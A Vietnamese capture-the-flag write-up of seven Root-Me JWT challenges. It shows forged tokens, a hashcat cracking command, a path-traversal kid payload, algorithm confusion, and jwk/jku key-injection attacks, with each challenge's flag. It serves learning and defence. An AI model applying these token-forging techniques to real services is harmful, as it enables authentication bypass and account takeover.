---
# System prepended metadata

title: 'Rootme: JWT Attacks'
tags: [JWT - Header Injection, JWT - Introduction, JWT - Revoked token, JWT - Unsecure Key Handling, rootme writeups, JWT - Weak secret, jwt attacks, rootme, JWT - Public key, JWT - Unsecure File Signature]

---

# Rootme: JWT Attacks
## JWT - Introduction
Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Introduction">đây</a>.

![](https://hackmd.io/_uploads/HynxF6qUn.png)

Bài cho 1 form login.

![](https://hackmd.io/_uploads/HkENY69I2.png)

Sau đó login với guest

![](https://hackmd.io/_uploads/Hy2UFp982.png)

Kiểm tra cookie: 
`jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk`
Sau đó decode JWT này tại <a href="https://jwt.io/">jwt.io</a>. Kết quả:

![](https://hackmd.io/_uploads/SJQvip9Un.png)

Xuất hiện `Invalid Signature` tất nhiên `signature` không đúng. Thuật toán đang sử dụng ở đây là `HS256`, ta thử chuyển nó sang `none` và xóa phần `Signature` của nó đồng thời sửa `guest` thành `admin`. Có thể làm thủ công hoặc dùng extension `JSON Web Tokens` trên Burp Suite:

![](https://hackmd.io/_uploads/HypRnpqLh.png)

JWT mới: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.`
Kết quả:

![](https://hackmd.io/_uploads/r1lzaa9In.png)


Như vậy là ứng dụng sử dụng key để `verify` JWT nhưng cũng bỏ qua nó khi không dùng thuật toán (`"alg": "none"`)


> Flag: `S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7`

## JWT - Weak secret

Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret">đây</a>

![](https://hackmd.io/_uploads/rJ_LCp5U2.png)

Vào bài thì tại `/hello` trả về thông báo: `Let's play a small game, I bet you cannot access to my super secret admin section. Make a GET request to /token and use the token you'll get to try to access /admin with a POST request.`
Như vậy:
- `/token` chứa token (sử dụng method GET)
- `/admin` nơi verify token (sử dụng method POST)

Vào `/token`: 

![](https://hackmd.io/_uploads/rJ-Dy05Lh.png)

Token nhận được:
`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw`
Decode tại <a href="https://jwt.io/">jwt.io</a> :

![](https://hackmd.io/_uploads/HkP510qU2.png)

Nó cho ta biết thuật toán sử dụng là `HS512` (đây là mã hóa đối xứng dùng một`secret key` để mã hóa cũng và giải mã ) có payload `"role": "guest"` và mục tiêu là đổi `guest` sang `admin`.

Thử lấy token đó verify ở `/admin`:

![](https://hackmd.io/_uploads/Sy9ClAcL3.png)

Thử đối thuật toán sang `none` như bài trên nhưng tất nhiên là không được. Nhìn lại tiêu đề là **Weak secret** nghĩ ngay đến việc brute-force. Ta sử dụng `hashcat` cùng với wordlist là `rockyou.txt`:
```
hashcat -a 0 -m 16500 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw /usr/share/wordlists/rockyou.txt
```
Kết quả:

![](https://hackmd.io/_uploads/S1zOQA9Ih.png)

`secret key` là `lol`. Bây giờ verify lại jwt:

![](https://hackmd.io/_uploads/SkSC7AcIn.png)

JWT mới:
`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA`

![](https://hackmd.io/_uploads/S1wbV0cLh.png)

> Flag: `PleaseUseAStrongSecretNextTime`

## JWT - Revoked token

Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token">đây</a>

![](https://hackmd.io/_uploads/HJHtV0q8h.png)

Bài cho source:
```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request, jsonify
from flask_jwt_extended import JWTManager, jwt_required, create_access_token, decode_token
import datetime
#from apscheduler.schedulers.background import BackgroundScheduler
import threading
import jwt
from config import *

# Setup flask
app = Flask(__name__)

app.config['JWT_SECRET_KEY'] = SECRET
jwtmanager = JWTManager(app)
blacklist = set()
lock = threading.Lock()

# Free memory from expired tokens, as they are no longer useful
def delete_expired_tokens():
    with lock:
        to_remove = set()
        global blacklist
        for access_token in blacklist:
            try:
                jwt.decode(access_token, app.config['JWT_SECRET_KEY'],algorithm='HS256')
            except:
                to_remove.add(access_token)
        
        blacklist = blacklist.difference(to_remove)

@app.route("/web-serveur/ch63/")
def index():
    return "POST : /web-serveur/ch63/login <br>\nGET : /web-serveur/ch63/admin"

# Standard login endpoint
@app.route('/web-serveur/ch63/login', methods=['POST'])
def login():
    try:
        username = request.json.get('username', None)
        password = request.json.get('password', None)
    except:
        return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400

    if username != 'admin' or password != 'admin':
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
    ret = {
        'access_token': access_token,
    }
    
    with lock:
        blacklist.add(access_token)

    return jsonify(ret), 200

# Standard admin endpoint
@app.route('/web-serveur/ch63/admin', methods=['GET'])
@jwt_required
def protected():
    access_token = request.headers.get("Authorization").split()[1]
    with lock:
        if access_token in blacklist:
            return jsonify({"msg":"Token is revoked"})
        else:
            return jsonify({'Congratzzzz!!!_flag:': FLAG})


if __name__ == '__main__':
    scheduler = BackgroundScheduler()
    job = scheduler.add_job(delete_expired_tokens, 'interval', seconds=10)
    scheduler.start()
    app.run(debug=False, host='0.0.0.0', port=5000)
```

Có 2 endpoints:

![](https://hackmd.io/_uploads/rkXzHRqI2.png)

Oke bây giờ vào `/login`: Nó sẽ yêu cầu json chứa `username` và `password` đều có giá trị là `admin` sẽ được token:

![](https://hackmd.io/_uploads/rk69S058n.png)

Token: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2ODU5MzU0NzcsIm5iZiI6MTY4NTkzNTQ3NywianRpIjoiZGIwZmQwYjAtZjM1Zi00MjEzLWI5MTEtZWRmZmNhODdlN2Q2IiwiZXhwIjoxNjg1OTM1NjU3LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.aqfOmz1hmOdxdz3C5Fg3OksrfQ0ZnYUedP-s9g_CzVg`

Thử dùng nó trong `/admin` qua header `Authorization: Bearer <token>`:

![](https://hackmd.io/_uploads/HJrXLC58n.png)

`Token is revoked`. Đúng vậy vì sau khi tạo thì token sẽ được add vào `backlist`:
```
access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
ret = {
    'access_token': access_token,
}

with lock:
    blacklist.add(access_token)
```
Và nếu token dùng trong header `Authorization` không trong `blacklist` thì mới hiện flag:
```
access_token = request.headers.get("Authorization").split()[1]
with lock:
    if access_token in blacklist:
        return jsonify({"msg":"Token is revoked"})
    else:
        return jsonify({'Congratzzzz!!!_flag:': FLAG})
```
Token vừa tạo xong đã bị cho vào `blacklist` thì sao bypass được ???
Thử decode nó:

![](https://hackmd.io/_uploads/Sy-WO0qU3.png)

Bản chất việc revoke token giống như việc xóa bỏ nó ngay sau khi xác thực thành công. Code trong bài này sẽ so sánh xem có token nào y hệt trong blacklist không, vậy có thể biến đổi token để nó khác ban đầu mà nội dung không thay đổi? Nhìn lại cấu trúc JWT:

![](https://hackmd.io/_uploads/HJ6CiC9Ih.png)

Đó là cả 3 phần đều được encode bằng `Base64`, điều quan tâm ở đây là `Base64` sẽ padding thêm dấu `=` nếu thiếu ký tự và nó cũng sẽ bỏ nó nếu đủ. Vậy chỉ cần thêm dấu `=` vào token thì đc token mới không nằm trong `blacklist` nhưng nội dung vẫn vậy. Ta sẽ thêm dấu `=` vào cuối (`signature`) vì nếu thêm vào `header` hay `payload` sẽ thay đổi `signature`.

Kết quả:

![](https://hackmd.io/_uploads/HJy4pCqLn.png)

> Flag: `Do_n0t_r3v0ke_3nc0d3dTokenz_Mam3ne-Us3_th3_JTI_f1eld`

## JWT - Unsecure File Signature

Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature">đây</a>

![](https://hackmd.io/_uploads/rJKYIls8n.png)

![](https://hackmd.io/_uploads/BJ2yweoI2.png)

Xem source thì thấy có endpoint `/admin` và có jwt trả về từ server trong cookie và nó dùng để verify vào endpoit đó:

![](https://hackmd.io/_uploads/SJFjvlsU2.png)


Decode JWT:

![](https://hackmd.io/_uploads/rk90DgsLn.png)


Đầu tiên mình thử làm theo như mấy bài trên nhưng tất nhiên đều không được. Xem lại đầu bài có nhắc đến `(K)ind (I)dentification (D)ance` dễ dàng biết được bài này liên quan đến `kid`.
`kid` (Key ID): Cung cấp `id` mà server có thể sử dụng để xác định `secret key` trong trường hợp có nhiều `secret key` để lựa chọn. Nó nằm trong phần `header` của JWT. Trong nhiều trường hợp nó không chỉ là `id` mà còn là một đường dẫn đến 1 file chứa `secret key` và server sẽ lấy nội dung của file đó để verify. Cụ thể ở đây khi bạn thay đổi giá trị `kid` thành `abc`:

![](https://hackmd.io/_uploads/SJjTFxi82.png)

Như vậy là server sẽ lấy nội dung trong file `abc` của thư mục `keys` làm khóa và ở đây file `abc` không được tìm thấy. Vậy nếu chúng ta biết được nội dung của 1 file rồi lấy nó làm khóa (`secret key`) thì sẽ verify thành công. Tuy nhiên điều đó có thể khó khả thi vì làm được khi file nào đó bị leak ra. 
Đơn giản nhất là lợi dụng `/dev/null` trên linux, đây là file rỗng và `kid` trỏ đến đây thì sẽ `key` lấy được là null. Liên tưởng đến lỗ hỗng `LFI` để `kid` trỏ đến `/dev/null` bằng payload `../../../../`và sign nó bằng giá trị `null` là `AA==` (dạng base64). Tuy nhiên khi `kid` có giá trị là `../../../../../../../dev/null` thì kết quả là `keys/dev/null`

![](https://hackmd.io/_uploads/HJ4dhliU3.png)

Có vẻ chưa `../` đã bị replace. Ta bypass cái này bằng `....//....//....//....//....//....//....//dev/null`


![](https://hackmd.io/_uploads/BJl4aesLh.png)


Lấy JWT mới set lại cookie, kết quả:

![](https://hackmd.io/_uploads/BJ--RejLh.png)


> Flag: `RM{Uns3cUr3_f1l3_H4ndl1nG!!}`

## JWT - Public key

Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key">đây</a>

![](https://hackmd.io/_uploads/B1-sLfjL3.png)

Như phần **Statement** thì có 3 endpoints:
- `/key` lấy `public key` (dùng method GET)
- `/auth` tạo token (dùng method POST)
- `/admin` verify để lấy flag (dùng method POST)

Đầu tiền vào `/key` để lấy `public key`, format lại được:
```
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3iPoCJJxcoYjU2CE4doM
vEC0kyxzh1wRGxDT0QV4Xr+vdscPZQ3RZFDtA8255BoqTWN5BFOH0LWwOrIlkVB+
eQFZ4JWoEweZLRsWYl6BNQm5p+TL9w9nMsNd+p3ha6I9bepLdzJgGm1zv8Ef9MyQ
uyZ8Aoaw16XzgevFqeegrlpHLO3odTnqOZ+K8xlXPYEvcoOBEr1LE9XpKxAg5puN
alokg+NeRMZBIYkEFODjDkZYsgCo97sfb/Y5hB7m6k4aTvxzpWSSQiBW90UJFLBi
BUn7fgwX6BuXt78l3S/eB9ByMscFZdtVckEzt5LP1dkjNcWS8CHfM1Eibq8Ca2eq
nQIDAQAB
  -----END PUBLIC KEY-----
```

Phần `/auth` yêu cầu: `You have to provide 'username=YOURNAME' in your POST request` nên mình `username=chuong` (không nhận giá trị `admin`) và nhận được token:

![](https://hackmd.io/_uploads/BJdULEiI2.png)

Sau đó dùng token này vào `/admin` qua header `Authorization: Bearer <token>`:

![](https://hackmd.io/_uploads/S1lOL4oUn.png)

Decode nó xem thử:

![](https://hackmd.io/_uploads/r1GU9zsI3.png)

JWT sử dụng thuật toán **RS256**. Đây là thuật toán **asymmetric** (bất đối xứng), trong đó **private key** được sử dụng để sign JWT và **public key** được sử dụng để verify signature của JWT.

![](https://hackmd.io/_uploads/HJsciMjUn.png)

Vậy hướng khai thác ở đây là gì? Sau một lúc tìm hiểu về phần này thì đó là thay đổi thuật toán. **HS256** chỉ có 1 **secret key** để sign cũng như verify trong khi **RS256** như mình đã nói sử dụng 2 key như trên. Vậy nếu chuyển từ **RS256** sang **HS256** thì sao? Thì **HS256** sẽ dùng **public key** để verify (thứ mà bài đã cho).
Việc bây giờ là từ **public key** đó tạo **signature** cho JWT.
Mình sẽ dùng <a href="https://github.com/ticarpi/jwt_tool">jwt_tool.py</a> để tạo bằng:
```
python3 jwt_tool.py <token> -S hs256 -k public.pem
```
`public.key` là file chứa **public key** mà bài cho. Và nhớ sửa giá trị `username` thành `admin`.

![](https://hackmd.io/_uploads/SyfQ84oIh.png)

Kết quả:

![](https://hackmd.io/_uploads/B1YV8Vo8h.png)

> Flag: `HardcodeYourAlgoBro`

## JWT - Header Injection
Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection">đây</a>

![](https://hackmd.io/_uploads/ryWxPujI3.png)

Oke bắt đầu vào: 

![](https://hackmd.io/_uploads/B1V7PuoU2.png)

Có chỗ login bằng JWT:

![](https://hackmd.io/_uploads/BJ8IvuoLn.png)

Tuy nhiên không có chỗ tạo token nên mình lấy cái `placeholder` để verify xem sao:

![](https://hackmd.io/_uploads/H1IaDui83.png)

Có vé phải login bằng `user` là `Neo`, decode thấy phần `payload` chứa `message` có vẻ không liên quan nên nên mình bỏ đi cho gọn, và tất nhiên thì verify vẫn thất bại rồi:

![](https://hackmd.io/_uploads/B1EudOiUn.png)

Như tiêu đề của bài là **Header Injection**. Mình đã tìm hiểu sơ qua về phần này và sẽ tổng quát lại nó như sau:
Như ta biết thì phần `header` của JWT có 1 số tham số hay gặp như `alg`, `typ`, ngoài ra còn 1 số nữa dễ bị khai thác:
- `kid`: mình đã nói ở bài `JWT - Unsecure File Signature`
- `jwk` (JSON Web Key): Cung cấp một đối tượng JSON được đại diện cho khóa.
- `jku` (JSON Web Key Set URL): Cung cấp một URL mà từ đó các server có thể tìm nạp một bộ khóa chứa khóa chính xác.

Ở bài này do mình đã làm rồi và xác định là khai thác dựa vào `jwk` nên mình sẽ nói về nó luôn.
Ví dụ về `jwk`:
```
"jwk": {
    "kty": "RSA",
    "e": "AQAB",
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
```
Nó đại diện cho **public key** của `RSA`, `kid` này cũng định nghĩa như trên, `n`, `e` là tham số liên quan về `RSA` (liên quan đến việc tính toán của thuật toán này).
Tham số `jkw` trong bài có thể kiểm soát từ người dùng mà server lại không xấc thực nó => bị tấn công. Ý tưởng ở đây là tạo **private key** sau đó nhúng `jwk` đó vào `header`.
Đầu tiên mình sẽ tạo RSA key bằng extension `JWT Editor Keys` của `Burp Suite`: chọn `New RSA Key` -> `Generate` (không cần quan tâm giá trị bit vì nó sẽ được điều chỉnh lại).

![](https://hackmd.io/_uploads/rJAxMYjLn.png)

Tiếp theo dùng extension `JSON Web Token` để nhúng nó vào:
`Attack` -> `Embedded JWK` -> chon khóa rồi `Ok`.

![](https://hackmd.io/_uploads/BkLQ4tjI2.png)


![](https://hackmd.io/_uploads/ByRPVtoI3.png)


JWT tạo được:
`eyJraWQiOiJiZDFlMDZmYy03YTBhLTQ5MWUtYjU1MC02YWYxMTQ4MTRjMmIiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6ImJkMWUwNmZjLTdhMGEtNDkxZS1iNTUwLTZhZjExNDgxNGMyYiIsIm4iOiJsd2lUNWhUOVhPOHptaVRoRW5BX3A0aWtqblUxZkJyV2tYVWNTRVRwT19DNWZEeHl1dmVIV1A1T1NpdG4tbjNXME9SSUFWMHlTeW9ZeVhEZnFSMFloZGFiZk16WHR2cnB1b1BucXlPRGpMUHBvR1lJSFV4MGhHekdNajlPbFFMQl9pNTF6ZENGWF9JNXF5bEhPUndiNXhKcUNMcUhCUU5JakFPUjRPM1czSF8wdGZhaGhtT29fblVLRFFob3NMblFNc2N1bGZYUDZvVmFfOHZpWVZKNDAwSTdVemxqYzRTSElzb0lUUnZFR0FjTVRaRFZXd3o2NmZ2QTlJZ3FLa3V1YnVVV293OU5yTE9wTDdxM1RaYU12UzJ3NWI3TnQwMTlOaDA3bnRXcDE4RjlQRG9NT0dWVVdXVTJ0UXlMTVRXX0dQMnp1aDRyMXFFSVNVMXhGWGU5MFEifX0.eyJ1c2VyIjoiTmVvIiwiaWF0IjoxNjc2NjM3ODMyfQ.M0n_hBVOnzi-j751yiqzUmhVCPLxhrVZX4lK6Tfyc34Nm_-3gTYeKOwOtecb8CbYgjz6nWnbVQIIKleeSsVNcIlfYH8e1n2wJ6JAyNvqCCHHA5W7dzWX9hnZ0tiRSLNurNAutp-ghYjTfQouTZc4MyLAwx00YqsQtiCKQQqBXXOXq8A5-vhdPWp7czxy8LT1C5GqM7dWBsyeFZMHa5a-l4wVKmHvKZunG0PWxr1p6xPsZ5DTgPWyexPITjreiGJoEKCXmr5beUAnzu2Q29YA6s_XLNoUUSp6B6O5W_iGPPez8cSLZhmnK-knOqa7Wof6kK3Q33e6d4CBtgnyEtV4_w`
Giờ verify nó, kết quả:

![](https://hackmd.io/_uploads/r1y97KsL3.png)

> Flag: `RM{N3v3r_All0w_UnTrusTed_K3ys}`
## JWT - Unsecure Key Handling

Link tại <a href="https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling">đây</a>

![](https://hackmd.io/_uploads/BkvGHigKn.png)

![](https://hackmd.io/_uploads/B1GrHsgtn.png)

Xem qua dễ dàng tìm được endpoint `/admin`. Và có được JWT, và tất nhiên không phải admin rồi: 

![](https://hackmd.io/_uploads/rybirjgth.png)

Decode JWT:

![](https://hackmd.io/_uploads/HkvCSolF2.png)

Nhận thấy có `"jku": "jwk.json"` nghĩ ngay đến việc inject vào `jku` này rồi. Nhưng sau một hồi fuzz thì mình không tìm được gì trên trang web, có vẻ `jwk.json` được lưu vào đâu đó không biết được. Tuy nhiên khi thay đổi `jku` thì: 

![](https://hackmd.io/_uploads/H1tOLseKh.png)

Như vậy address phải bắt đầu là `http://localhost` Mình nghĩ này đến các ký thuật SSRF nhưng bằng nhiều cách vẫn không được. 1 tháng sau thì mình gặp được bài <a href="https://thanhlocpanda.wordpress.com/2023/06/22/jwt-headers-injection-jku-unsecure-key-handling-root-me-part-ii/">này</a> :3
Như vậy là tạo 1 site bắt đầu với localhost (của mình sẽ là `http://localhostchuong.000webhostapp.com`) bằng <a href="https://www.000webhost.com/">000webhost.com</a> và có `jwk.json` chứa thông tin key tạo qua burp(tham khảo bài trên):

![](https://hackmd.io/_uploads/rk1_YsgY3.png)

Key tạo bằng burp: 

![](https://hackmd.io/_uploads/HJdjvjeY2.png)

Sẽ được:

![](https://hackmd.io/_uploads/ryYiPixKn.png)

Và giờ chỉ việc sign bằng key có sẵn: 

![](https://hackmd.io/_uploads/H1BrOjlYh.png)
Kết quả: 

![](https://hackmd.io/_uploads/r1dtOslF3.png)

> Flag: `RM{4lw4y5_ch3ck_th3_JKU_C0rr3ctly}`

## Tổng kết

Mình có vẽ 1 mindmap nhỏ về **JWT Attacks** mà mình tìm hiểu được ^^

![](https://hackmd.io/_uploads/BkGZA_2In.png)


Một số nguồn tham khảo thêm:
- <a href="https://portswigger.net/web-security/jwt">JWT attacks - PortSwigger</a>
- https://infosecwriteups.com/attacks-on-json-web-token-jwt-278a49a1ad2e
- https://github.com/KathanP19/HowToHunt/blob/master/JWT/JWT.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token
- https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
- https://medium.com/@TamasPolgar/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9

Một số tools:
- <a href="https://jwt.io/">jwt.io</a>
- <a href="https://github.com/ticarpi/jwt_tool">jwt_tool</a>, <a href="https://github.com/lmammino/jwt-cracker">jwt-cracker</a>, <a href="https://github.com/silentsignal/rsa_sign2n">rsa_sign2n</a>, ...


